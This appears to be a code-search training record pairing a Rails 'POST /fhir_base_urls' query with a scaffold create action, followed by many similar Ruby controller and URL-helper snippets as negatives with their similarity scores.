[ "def new\n @base_url = BaseUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @base_url }\n end\n\n end", "def create\n @fhir_base_url = FhirBaseUrl.new(params[:fhir_base_url])\n\n respond_to do |format|\n if @fhir_base_url.save\n format.html { redirect_to @fhir_base_url, notice: 'Fhir base url was successfully created.' }\n format.json { render json: @fhir_base_url, status: :created, location: @fhir_base_url }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fhir_base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end", "def create\n @base_url = BaseUrl.new(params[:base_url])\n\n respond_to do |format|\n if @base_url.save\n format.html { redirect_to @base_url, notice: 'Base url was successfully created.' }\n format.json { render json: @base_url, status: :created, location: @base_url } \n else\n format.html { render action: \"new\" }\n format.json { render json: @base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @page_title = 'New URL'\n @url = ShortenUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end", "def create\n \t@url = Url.build(params[:link],request.base_url) \t\n \trender json: @url.to_json\n end", "def new\n @sampled_url = SampledUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sampled_url }\n end\n end", "def new\n @url = ShortenedUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @url }\n end\n end", "def new\n @basis = Base.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @basis }\n end\n end", "def new\n #@instance = Instance.new\n @instance.url = \"http://#{request.host}\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @instance }\n end\n end", "def new\n @url_connector = UrlConnector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url_connector }\n end\n end", "def create_api\n\n @url = Url.new(:url => params[:url])\n\n if @url.save\n url_hash = Hash.new\n\n url_hash[:short_url] = root_url.to_s() + \"urls_api/\" + (@url.id).to_s(36)\n url_hash[:url] = @url.url\n\n render :json => url_hash.to_json\n end\n\n end", "def new\n add_breadcrumb 'Your hubs', :hubs_path\n add_breadcrumb 'New hub', new_hub_path\n append_title 'New hub'\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @hub }\n end\n end", "def new(options) \n Client.get(\"/patterns/new\", :query => options)\n end", "def new\n \t@url = Url.new\n end", "def new\n @content_url = ContentUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_url }\n end\n end", "def new\n @url = Url.new\n end", "def new\n @url = Url.new\n end", "def new\n add_breadcrumb :new\n @visit = Visit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit }\n end\n end", "def new\n @blog_url = BlogUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @blog_url }\n end\n end", "def new\n @lookup = Lookup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lookup }\n end\n end", "def new\n @shared_url = SharedUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shared_url }\n end\n end", "def create_uri\n end", "def new_resource_url\n send route_prefix_to_method_name(\"new_#{class_name.model_name.singular_route_key}_url\")\n end", "def new\n @url = Url.new\n end", "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def new\n @location_url_map = LocationUrlMap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location_url_map }\n end\n end", "def create_url\n \"#{api_url}/gists\"\n end", "def new_resource\n base_collection.new\n end", "def new\n @report_narrative = ReportNarrative.new\n @report_narrative.uri = params[:uri]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report_narrative }\n end\n end", "def create\n @url_identifier = params[:new_identifier]\n @url = Url.new(url_params)\n @url.group = current_user.context_group\n @empty_url = Url.new\n\n respond_to do |format|\n if @url.save\n format.html do\n redirect_to urls_path, notice: 'URL was successfully created.'\n end\n format.js { render :create }\n else\n format.js { render :new }\n end\n end\n end", "def new_http(uri); end", "def new\n @origin = OriginAddr.new\n \n drop_breadcrumb('ๆ–ฐๅขž')\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @origin }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @club_path = ClubPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @club_path }\n end\n end", "def new\n @resources_and_link = ResourcesAndLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resources_and_link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @link }\n end\n end", "def new\n @useful_link = UsefulLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @useful_link }\n end\n end", "def new\n do_new_resource\n get_project_if_exists\n do_set_attributes\n do_authorize_instance\n\n # initialize lat/lng to Brisbane-ish\n @site.longitude = 152\n @site.latitude = -27\n respond_to do |format|\n format.html\n format.json { respond_new }\n end\n end", "def new\n @image_url = ImageUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_url }\n end\n end", "def create\n\n @url = Url.new(url_params)\n @url.user = current_user\n @url.unique_key = @url.generate_unique_key\n\n #save data\n if @url.save\n response = {:status => 'success',\n :mgs => short_url(@url.unique_key)}\n else\n response = {:status => 'fail',\n :mgs => 'Not a valid URL.'}\n end\n\n #send response\n respond_to do |format|\n format.json { render json: response }\n end\n end", "def new\n @uri_type = UriType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uri_type }\n end\n end", "def index\n @fhir_base_urls = FhirBaseUrl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fhir_base_urls }\n end\n end", "def new\n @subsite = Subsite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subsite }\n end\n end", "def new\n @registry = Registry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registry }\n end\n end", "def create\n @url = Url.new(url_params)\n @url = Url.get_from_long(@url.long) if @url.duplicate?\n\n respond_to do |format|\n if not @url.new_record?\n format.html { redirect_to root_path, notice: 'URL already existed.' }\n format.json { render action: 'show', status: :ok, location: @url }\n elsif @url.save\n format.html { redirect_to root_path, notice: 'Url was successfully created.' }\n format.json { render action: 'show', status: :created, location: @url }\n else\n format.html do\n @urls = Url.recent.page(params[:page]).per(25)\n render action: 'index'\n end\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @url = Url.new(url_params)\n\n Url.transaction do\n @url.save\n #write base 62 method\n @url.short_url = generate_base62_short_url(@url.id)\n if @url.save\n render json: @url, status: :created, root: :url\n else\n render json: @url.errors, status: :unprocessable_entity\n end\n end\n end", "def new #given to config/routes.rb\n end", "def new\n @uniqueid = Uniqueid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @uniqueid }\n end\n end", "def get_all_new\n uri = [@@base_uri, 'all', 'getAllNew'].join('/')\n return get(uri)\n end", "def new\n @resource = Resource.new \n @link = Link.new\n end", "def new_link\n @project = Project.new(user_id: current_user.id)\n fetch_projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end", "def new\n @articleurl = Articleurl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @articleurl }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def create url\n function = ''\n \n post_data = {}\n post_data[:url] = url\n\n request(@resource, function, nil, 'post', post_data)\n end", "def create\n # decode url to remove duplicacy in case of same url encoded and decoded\n url = URI.decode(params[:url])\n # check if url already exists in db\n mini_url = MiniUrlHelper.check_existing_url(url, current_user)\n unless mini_url\n mini_url = MiniUrl.new\n mini_url.url = url\n # a check to handle invalid expiry time\n begin\n mini_url.expiry = DateTime.parse(params[:expiry])\n rescue ArgumentError => e\n logger.error \"Invalid expiry time.\"\n end\n mini_url.user = current_user if current_user\n # call method to generate unique code and save into db\n # raise exception in case of some error\n unless mini_url.generate_unique_code\n raise Exceptions::SavingError.new(mini_url.errors)\n end\n end\n short_url = \"#{BASE_URL}/#{mini_url.url_code}\"\n render json: {short_url: short_url}, status: 201\n rescue Exceptions::SavingError => e\n render json: {error: e}, status: 400\n end", "def new\n @import_def = ImportDef.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @import_def }\n end\n end", "def new\n @publink = Publink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @publink }\n end\n end", "def new\n do_new_resource\n get_project_site\n do_set_attributes\n do_authorize_instance\n\n respond_new\n end", "def create\n @uri = Uri.create(uri_params)\n\n respond_to do |format|\n if @uri\n format.json { render json: @uri, status: 200 }\n else\n format.json { render json: @uri.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n referrer = Rails.application.routes.recognize_path(request.referrer)\n \n @url = Url.new(url_params)\n @error = nil\n result_url = Url.find_by(:long_url => @url[:long_url])\n\n respond_to do |format|\n if result_url.nil?\n max_id = Url.maximum(:id) || 0\n num = START_OFFSET + max_id + 1\n short_key = encode(num) \n @url[:short_url] = short_key\n\n if @url.save\n @new_url = @url\n @url = Url.new(:long_url => @new_url[:long_url], :short_url => @new_url[:short_url])\n if referrer[:action] == 'index'\n format.html { render :index }\n else\n format.html { redirect_to @new_url, notice: \"URL was successfully created.\"}\n end\n else\n @error = @url.errors.full_messages\n if referrer[:action] == 'index'\n format.html { render :index }\n else\n format.html { render :new }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n else\n if referrer[:action] == 'index'\n @url[:short_url] = result_url[:short_url]\n format.html { render :index }\n else\n format.html { redirect_to result_url, notice: \"Existing URL. No URL is created.\" }\n end\n end\n end\n end", "def new\n add_breadcrumb I18n.t('integral.navigation.new'), \"new_backend_#{controller_name.singularize}_path\".to_sym\n @resource = resource_klass.new\n end", "def new\n add_breadcrumb I18n.t('integral.navigation.new'), \"new_backend_#{controller_name.singularize}_path\".to_sym\n @resource = resource_klass.new\n end", "def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end", "def new_post_uri\n @new_post_uri ||= \"#{base_uri}/newpost\"\n end", "def create\n @known_url = KnownUrl.new(known_url_params)\n\n respond_to do |format|\n if @known_url.save\n format.html { redirect_to @known_url, notice: 'Known url was successfully created.' }\n format.json { render action: 'show', status: :created, location: @known_url }\n else\n format.html { render action: 'new' }\n format.json { render json: @known_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n url = params[:long_url] || params[:url]\n if !url.present?\n render :text => \"URL not passed as a variable\" \n else\n # check to see if there's an existing short url\n short_url = @site.urls.find_by_long_url(url)\n\n if short_url\n respond_to do |format|\n format.html { render text: short_url.full_short_link }\n format.json { respond_with short_url }\n end\n else\n @url = @site.urls.create!(long_url: url, title: params[:title])\n\n respond_to do |format|\n format.html { render text: @url.full_short_link }\n format.json { respond_with @url }\n end\n end\n\n end\n rescue\n render text: \"Error saving short link\"\n end", "def new\n @referer = Referer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @referer }\n end\n end", "def new\n @gpath = Gpath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gpath }\n end\n end", "def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end", "def new\n @title = \"New Resources Periods\"\n @resource_period = ResourcePeriod.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @resource_period }\n end\n end", "def new\n @jurisdiction = Jurisdiction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jurisdiction }\n end\n end", "def new\n @site = Site.new\n @site.url = 'http://'\n @site.creator = current_user.name if user_signed_in?\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "def new\n @affiliate_link = AffiliateLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @affiliate_link }\n end\n end", "def new\n @crawl_request = CrawlRequest.new\n\n render json: @crawl_request\n end", "def new\n @crawl_request = CrawlRequest.new\n\n render json: @crawl_request\n end", "def new\n @publinktype = Publinktype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @publinktype }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end", "def create\n @bio_url = BioUrl.new(bio_url_params)\n\n respond_to do |format|\n if @bio_url.save\n format.html { redirect_to @bio_url, notice: 'Bio url was successfully created.' }\n format.json { render :show, status: :created, location: @bio_url }\n else\n format.html { render :new }\n format.json { render json: @bio_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n # pismo_grab_meta_data\n paginate_all_links\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @link }\n end\n end", "def new\n @tasklink = Tasklink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tasklink }\n end\n end", "def new\n @static = Static.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @static }\n end\n end", "def new\n @link = Link.new :long => 'http://'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @scan_path = ScanPath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scan_path }\n end\n end", "def create_url(subpath='')\n paths = [ api_version, resources_path, subpath ]\n paths.select{|s| s != ''}.join('/')\n end", "def new\n @rails_url = RailsUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rails_url }\n end\n end", "def new\n @admin_enter_url = Admin::EnterUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_enter_url }\n end\n end", "def new\n @fundamental_resource_pool = Fundamental::ResourcePool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fundamental_resource_pool }\n end\n end", "def new\n @breadcrumb = 'create'\n @infrastructure_type = InfrastructureType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @infrastructure_type }\n end\n end", "def new(options) \n Client.get(\"/colors/new\", :query => options)\n end", "def new\n\t\t@shortened_url = ShortenedUrl.new\n\t\t@url = shorten_urls_path\n\tend", "def create\n @url = current_user.urls.new(params[:url])\n\n respond_to do |format|\n if @url.save\n format.html { redirect_to urls_path, notice: 'Url was successfully created.' }\n format.json { render json: @url, status: :created, location: @url }\n else\n format.html { render action: \"new\" }\n format.json { render json: @url.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7343179", "0.72189087", "0.66810304", "0.6576273", "0.64594054", "0.63996327", "0.6364573", "0.63496935", "0.627866", "0.6262519", "0.62583095", "0.6251131", "0.6109657", "0.6095987", "0.6078266", "0.60770625", "0.60255694", "0.60255694", "0.60228497", "0.5989396", "0.59670466", "0.5965676", "0.596153", "0.5954171", "0.59400445", "0.590767", "0.5902448", "0.58939254", "0.5878716", "0.5872335", "0.5872012", "0.5860918", "0.5854412", "0.58539236", "0.58539236", "0.58539236", "0.58539236", "0.58539236", "0.5835873", "0.5824499", "0.58170253", "0.58007205", "0.57890344", "0.5788564", "0.578607", "0.5770066", "0.57698965", "0.5762328", "0.57531124", "0.57485646", "0.57377946", "0.57347065", "0.57287395", "0.5727694", "0.57227266", "0.5720718", "0.571669", "0.57138366", "0.5711913", "0.5703652", "0.56987244", "0.569508", "0.5678025", "0.5670902", "0.5670848", "0.56702214", "0.56702214", "0.56701636", "0.56698155", "0.5648289", "0.56432617", "0.5640684", "0.56404346", "0.5636978", "0.56325513", "0.5631658", "0.5620295", "0.56127113", "0.5610951", "0.5610951", "0.56053174", "0.5604637", "0.5604637", "0.5604637", "0.5604637", "0.5604637", "0.56000465", "0.5593935", "0.55831623", "0.55776745", "0.5577046", "0.55747736", "0.55716354", "0.5570341", "0.55701464", "0.5569531", "0.5566762", "0.55646235", "0.5560714", "0.5560404" ]
0.7730156
0
POST /fhir_base_urls POST /fhir_base_urls.json
def create @fhir_base_url = FhirBaseUrl.new(params[:fhir_base_url]) respond_to do |format| if @fhir_base_url.save format.html { redirect_to @fhir_base_url, notice: 'Fhir base url was successfully created.' } format.json { render json: @fhir_base_url, status: :created, location: @fhir_base_url } else format.html { render action: "new" } format.json { render json: @fhir_base_url.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @fhir_base_urls = FhirBaseUrl.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fhir_base_urls }\n end\n end", "def create\n @base_url = BaseUrl.new(params[:base_url])\n\n respond_to do |format|\n if @base_url.save\n format.html { redirect_to @base_url, notice: 'Base url was successfully created.' }\n format.json { render json: @base_url, status: :created, location: @base_url } \n else\n format.html { render action: \"new\" }\n format.json { render json: @base_url.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_url(subpath='')\n paths = [ api_version, resources_path, subpath ]\n paths.select{|s| s != ''}.join('/')\n end", "def new\n @fhir_base_url = FhirBaseUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fhir_base_url }\n end\n end", "def base_href\n '/api/v1'\n end", "def complete_url(url, base)\n if url.start_with?(\"/\")\n resource_uri = base + url\n else\n resource_uri = url\n end \n return resource_uri\n end", "def base_url_path=(_arg0); end", "def post_api_uri(endpoint)\n URI(@api_base_url + endpoint)\n end", "def generate_base_urls \n set_scheme\n if(ENV['ENVIRONMENT']=='sandbox')\n @base_url = @sandbox + @bbc_domain \n @static_base_url = @static_sandbox + @bbc_domain\n elsif (ENV['ENVIRONMENT']=='live' && ENV['WWW_LIVE']=='false')\n @base_url = @www_prefix.chop + @bbc_domain\n @static_base_url = @static_prefix.chop + @bbci_domain\n @open_base_url = @open_prefix.chop + @bbc_domain\n elsif (ENV['ENVIRONMENT'].split('.')[0].include? 'pal') #address specific box\n @base_url = \"#{scheme}://#{ENV['ENVIRONMENT']}\" \n else\n @base_url = @www_prefix + ENV['ENVIRONMENT'] + @bbc_domain\n @static_base_url = @static_prefix + ENV['ENVIRONMENT'] + @bbci_domain\n @static_base_url = @static_prefix.chop + @bbci_domain if ENV['ENVIRONMENT'] == 'live'\n @open_base_url = @open_prefix + ENV['ENVIRONMENT'] + @bbc_domain\n end\n proxy = ENV['http_proxy'] || ENV['HTTP_PROXY'] \n @proxy_host = proxy.scan(/http:\\/\\/(.*):80/).to_s if proxy\n end", "def base_uri\t\t\t\n\t\tURI.parse( \"http://\" + @factory.site_name + \".\" + @factory.api_host_base + @path )\n\tend", "def with_base_url(path)\n u = @url.dup\n u.path += Puppet::Util.uri_encode(path)\n u\n end", "def base_url\n BASE_URL.dup % [\"%s\", \"%s\", @api_key, \"%s\"] \n end", "def base_path\n \"/api/v1\"\n end", "def base_url_path; end", "def baseurl=(_arg0); end", "def baseurl; end", "def create_api\n\n @url = Url.new(:url => params[:url])\n\n if @url.save\n url_hash = Hash.new\n\n url_hash[:short_url] = root_url.to_s() + \"urls_api/\" + (@url.id).to_s(36)\n url_hash[:url] = @url.url\n\n render :json => url_hash.to_json\n end\n\n end", "def make_url(apipath)\n @base_url + \"/api/open-v1.0/\" + apipath\n end", "def base_url\n service.base_url\n end", "def base_url\n 'http://ow.ly/api/1.1/url/shorten'\n end", "def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend", "def new\n @base_url = BaseUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @base_url }\n end\n\n end", "def base_uri\n if mode == 'sandbox'\n @base_uri = 'https://sandbox.fundamerica.com/api/'\n else\n @base_uri = 'https://apps.fundamerica.com/api/'\n end\n end", "def create\n \t@url = Url.build(params[:link],request.base_url) \t\n \trender json: @url.to_json\n end", "def generate_base_uri request, set=nil\n b_uri= uri request.env['REQUEST_URI'].to_s[0..-request.env['PATH_INFO'].length]\n @base_uri = b_uri if set\n b_uri\n end", "def rewrite_iiif_base_uri(info_original)\n parsed_json = JSON.parse(info_original)\n public_base_uri = \"#{ENV['IIIF_SERVER_URL']}#{trailing_slash_fix}#{identifier}\"\n parsed_json[\"@id\"] = public_base_uri\n JSON.generate(parsed_json)\n end", "def base_url\n return url\n end", "def base_uri\n\t\t\t\"#{server}/api/v4\"\n\t\tend", "def build_urlpath\n render_endpoint_request do\n erb = EndpointRequestBuilder.new(@endpoint)\n extra_params = erb.formatted_url_path(@arguments)\n render json: { success: extra_params }, status: 200\n end\n end", "def set_base_url(num = 0)\n return nil if num >= @api_servers.size\n @base_url = @api_servers[num]\n end", "def api_base_url; @opts[:api_base_url]; end", "def raplet_base_url\n \"#{request.scheme}://#{request.host}:#{request.port}\"\n end", "def _base_url\n r = @_request\n scheme = r.scheme\n port = r.port\n \"#{scheme}://#{r.host}#{\":#{port}\" unless DEFAULT_PORTS[scheme] == port}\"\n end", "def create_uri\n end", "def rest_url\n # Transifex API doc says always use a trailing slash even if the last element is a slug\n build_nodes_url.to_s + '/'\n end", "def json_url\n # \"#{REDDIT_URL_PREFIX}#{permalink}#{@self_id}.json\"\n end", "def base_url\n @is_sub_env_specific ? \"#{GlobalConstant::CompanyApi.root_url}#{GlobalConstant::Environment.url_prefix}/api/\"\n : \"#{GlobalConstant::CompanyApi.root_url}api/\"\n end", "def base_url\n \"#{scheme}://#{host}\"\n end", "def base_url\n URI::HTTPS.build(host: @server, port: @port, path: @api)\n end", "def base_uri=(iri)\n @options[:base_uri] = RDF::URI(iri)\n end", "def create\n params[:url_list].each do |url|\n WebUrl.new(:url => url).save\n end\n render :json=>params[:url_list].to_json\n end", "def endpoint\n \"#{base_url}#{base_url =~ /\\/$/ ? '' : '/'}/api/v3\"\n end", "def set_base_url(url)\r\n @http_client.base_url = url\r\n end", "def api_url\n base_url.concat api_query_parameter\n end", "def api_url\n base_url.concat api_query_parameter\n end", "def build_url(url_suffix)\n return @base_url+url_suffix\nend", "def set_base_url\n uri = URI.parse(@page_url)\n @base_url = \"#{uri.scheme}://#{uri.host}\"\n end", "def base_uri(value)\n @config[:base_uri] = value\n end", "def infrastructures_base_url\n \"#{configuration[:on_prem_api_endpoint]}/infrastructures\"\n end", "def json_url\n \"#{REDDIT_URL_PREFIX}#{permalink}.json\"\n end", "def base_uri\n @base_uri\n end", "def base_url\n base_href || url\n end", "def base_uri(value)\n @document_builder.base_uri = value\n end", "def endPoint(path='')\n parts = ['https:/', $cfg['net.host'], 'api:1'] + @uriparts\n s = parts.map{|v| v.to_s}.join('/')\n URI(s + path.to_s)\n end", "def base_uri=(new_base_uri)\n @base_uri = new_base_uri\n end", "def create\n @url = Url.new(url_params)\n\n Url.transaction do\n @url.save\n #write base 62 method\n @url.short_url = generate_base62_short_url(@url.id)\n if @url.save\n render json: @url, status: :created, root: :url\n else\n render json: @url.errors, status: :unprocessable_entity\n end\n end\n end", "def build_url_test_data\n data = []\n\n # format: [<test-url> <...expected-http-codes> <expected-final-redirect-url>?]\n\n # hub3.com\n data << %w{ http://hub3.com 301 200 https://hub3.com/ }\n data << %w{ http://www.hub3.com 301 301 200 https://hub3.com/ }\n data << %w{ https://hub3.com 200 }\n data << %w{ https://www.hub3.com 301 200 https://hub3.com/ }\n\n # hub3.co\n data << %w{ http://hub3.co 301 301 200 https://hub3.com/ }\n data << %w{ http://www.hub3.co 301 301 200 https://hub3.com/ }\n data << %w{ https://hub3.co 301 200 https://hub3.com/ }\n data << %w{ https://www.hub3.co 301 200 https://hub3.com/ }\n\n # hub3solutions.com\n data << %w{ http://hub3solutions.com 301 301 200 https://hub3.com/ }\n data << %w{ http://www.hub3solutions.com 301 301 200 https://hub3.com/ }\n data << %w{ https://hub3solutions.com 301 200 https://hub3.com/ }\n data << %w{ https://www.hub3solutions.com 301 200 https://hub3.com/ }\n\n # hub3.solutions\n data << %w{ http://hub3.solutions 301 301 200 https://hub3.com/ }\n data << %w{ http://www.hub3.solutions 301 301 200 https://hub3.com/ }\n data << %w{ https://hub3.solutions 301 200 https://hub3.com/ }\n data << %w{ https://www.hub3.solutions 301 200 https://hub3.com/ }\n\n # officesnake.com\n data << %w{ http://officesnake.com 301 200 https://officesnake.com/ }\n data << %w{ http://www.officesnake.com 301 200 https://officesnake.com/ }\n data << %w{ https://officesnake.com 200 }\n data << %w{ https://www.officesnake.com 301 200 https://officesnake.com/ }\n\n # pandify.com\n data << %w{ http://pandify.com 301 200 https://pandify.com/ }\n data << %w{ http://www.pandify.com 301 200 https://pandify.com/ }\n data << %w{ https://pandify.com 200 }\n data << %w{ https://www.pandify.com 301 200 https://pandify.com/ }\n\n # hitpic.me\n data << %w{ http://hitpic.me 301 200 https://hitpic.me/ }\n data << %w{ http://www.hitpic.me 301 200 https://hitpic.me/ }\n data << %w{ https://hitpic.me 200 }\n data << %w{ https://www.hitpic.me 301 200 https://hitpic.me/ }\n\n # ustasb.com\n data << %w{ http://ustasb.com 301 200 https://brianustas.com/ }\n data << %w{ http://www.ustasb.com 301 200 https://brianustas.com/ }\n data << %w{ https://ustasb.com 301 200 https://brianustas.com/ }\n data << %w{ https://www.ustasb.com 301 200 https://brianustas.com/ }\n\n # brianustas.com\n data << %w{ http://brianustas.com 301 200 https://brianustas.com/ }\n data << %w{ http://www.brianustas.com 301 200 https://brianustas.com/ }\n data << %w{ https://brianustas.com 200 }\n data << %w{ https://www.brianustas.com 301 200 https://brianustas.com/ }\n\n data << %w{ https://brianustas.com/knightly-dashboard-demo/ 200 }\n data << %w{ https://brianustas.com/knightly-dashboard-demo 301 200 https://brianustas.com/knightly-dashboard-demo/ }\n data << %w{ https://brianustas.com/knightly-demo/ 301 200 https://brianustas.com/knightly-dashboard-demo/ } # legacy\n data << %w{ https://brianustas.com/knightly-demo 301 200 https://brianustas.com/knightly-dashboard-demo/ } # legacy\n data << %w{ https://brianustas.com/campus-safety-dashboard/ 301 200 https://brianustas.com/knightly-dashboard-demo/ } # legacy\n data << %w{ https://brianustas.com/campus-safety-dashboard 301 200 https://brianustas.com/knightly-dashboard-demo/ } # legacy\n\n data << %w{ https://brianustas.com/where-in-the-world/ 200 }\n data << %w{ https://brianustas.com/where-in-the-world 301 200 https://brianustas.com/where-in-the-world/ }\n data << %w{ https://brianustas.com/whereintheworld/ 301 200 https://brianustas.com/where-in-the-world/ } # legacy\n data << %w{ https://brianustas.com/whereintheworld 301 200 https://brianustas.com/where-in-the-world/ } # legacy\n\n data << %w{ https://brianustas.com/emoji-soup/ 200 }\n data << %w{ https://brianustas.com/emoji-soup 301 200 https://brianustas.com/emoji-soup/ }\n data << %w{ https://brianustas.com/emojisoup/ 301 200 https://brianustas.com/emoji-soup/ } # legacy\n data << %w{ https://brianustas.com/emojisoup 301 200 https://brianustas.com/emoji-soup/ } # legacy\n\n data << %w{ https://brianustas.com/dunkin-donuts-auto-survey/ 200 }\n data << %w{ https://brianustas.com/dunkin-donuts-auto-survey 301 200 https://brianustas.com/dunkin-donuts-auto-survey/ }\n data << %w{ https://brianustas.com/free-donut/ 301 200 https://brianustas.com/dunkin-donuts-auto-survey/ } # legacy\n data << %w{ https://brianustas.com/free-donut 301 200 https://brianustas.com/dunkin-donuts-auto-survey/ } # legacy\n data << %w{ https://brianustas.com/freedonut/ 301 200 https://brianustas.com/dunkin-donuts-auto-survey/ } # legacy\n data << %w{ https://brianustas.com/freedonut 301 200 https://brianustas.com/dunkin-donuts-auto-survey/ } # legacy\n\n data << %w{ https://brianustas.com/cubecraft/ 200 }\n data << %w{ https://brianustas.com/cubecraft 301 200 https://brianustas.com/cubecraft/ }\n\n data << %w{ https://brianustas.com/infinite-jest-music/ 200 }\n data << %w{ https://brianustas.com/infinite-jest-music 301 200 https://brianustas.com/infinite-jest-music/ }\n\n data << %w{ https://brianustas.com/office-snake/ 301 200 https://officesnake.com }\n data << %w{ https://brianustas.com/office-snake 301 200 https://officesnake.com }\n data << %w{ https://brianustas.com/officesnake/ 301 200 https://officesnake.com } # legacy\n data << %w{ https://brianustas.com/officesnake 301 200 https://officesnake.com } # legacy\n\n data << %w{ https://brianustas.com/sitemap.xml 200 }\n data << %w{ https://brianustas.com/robots.txt 200 }\n data << %w{ https://brianustas.com/keybase.txt 200 }\n data << %w{ https://brianustas.com/portfolio 301 200 https://brianustas.com/blog }\n\n data.sort.map do |d|\n ret = {\n url: d[0],\n http_codes: d[1..-1],\n }\n\n # Was a redirect URL provided?\n if (/^https?:/ =~ d.last) == 0\n ret[:final_redirect_url] = ret[:http_codes].pop\n end\n\n ret\n end\nend", "def rebase_hrefs(input, base_uri)\n Utils.rebase_hrefs(input, base_uri) rescue input\n end", "def get_base_uri(server = Server::DEFAULT)\r\n parameters = {\r\n 'base_url' => { 'value' => base_url, 'encode' => false }\r\n }\r\n 